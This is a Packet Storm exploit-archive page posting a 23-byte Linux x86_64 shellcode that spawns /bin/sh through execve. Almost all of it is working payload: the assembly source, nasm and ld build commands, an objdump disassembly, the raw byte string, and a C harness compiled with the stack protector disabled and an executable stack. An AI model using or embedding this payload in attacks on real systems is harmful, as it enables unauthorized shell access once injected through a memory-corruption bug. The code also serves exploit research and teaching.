exploit the possibilities

Linux/x64 execve(/bin/sh) Shellcode

Linux/x64 execve(/bin/sh) Shellcode
Posted May 23, 2019
Authored by Rajvardhan

23 bytes small Linux/x64 execve(/bin/sh) shellcode.

tags | shellcode
systems | linux
MD5 | eeac2e302e95bbc11ba36ce32d6ee146

Linux/x64 execve(/bin/sh) Shellcode

Change Mirror Download
/*
;Category: Shellcode
;Title: GNU/Linux x86_64 - execve /bin/sh
;Author: rajvardhan
;Date: 23/05/2019
;Architecture: Linux x86_64
;Possibly The Smallest And Fully Reliable Shellcode

===========
Asm Source
===========

global _start
section .text
_start:
xor rsi,rsi
push rsi
mov rdi,0x68732f2f6e69622f
push rdi
push rsp
pop rdi
push 59
pop rax
cdq
syscall
================================
Instruction for nasm compliation
================================

nasm -f elf64 shellcode.asm -o shellcode.o
ld shellcode.o -o shellcode

===================
objdump disassembly
===================

Disassembly of section .text:

0000000000401000 <_start>:
401000: 48 31 f6 xor %rsi,%rsi
401003: 56 push %rsi
401004: 48 bf 2f 62 69 6e 2f movabs $0x68732f2f6e69622f,%rdi
40100b: 2f 73 68
40100e: 57 push %rdi
40100f: 54 push %rsp
401010: 5f pop %rdi
401011: 6a 3b pushq $0x3b
401013: 58 pop %rax
401014: 99 cltd
401015: 0f 05 syscall

==================
23 Bytes Shellcode
==================

\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05

======================
C Compilation And Test
======================

gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

*/

#include <stdio.h>

unsigned char shellcode[] = \
"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05";
int main()
{
int (*ret)() = (int(*)())shellcode;
ret();
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    24 Files
  • 2
    Oct 2nd
    15 Files
  • 3
    Oct 3rd
    7 Files
  • 4
    Oct 4th
    4 Files
  • 5
    Oct 5th
    10 Files
  • 6
    Oct 6th
    1 Files
  • 7
    Oct 7th
    21 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    5 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    17 Files
  • 12
    Oct 12th
    4 Files
  • 13
    Oct 13th
    4 Files
  • 14
    Oct 14th
    15 Files
  • 15
    Oct 15th
    19 Files
  • 16
    Oct 16th
    25 Files
  • 17
    Oct 17th
    17 Files
  • 18
    Oct 18th
    7 Files
  • 19
    Oct 19th
    1 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close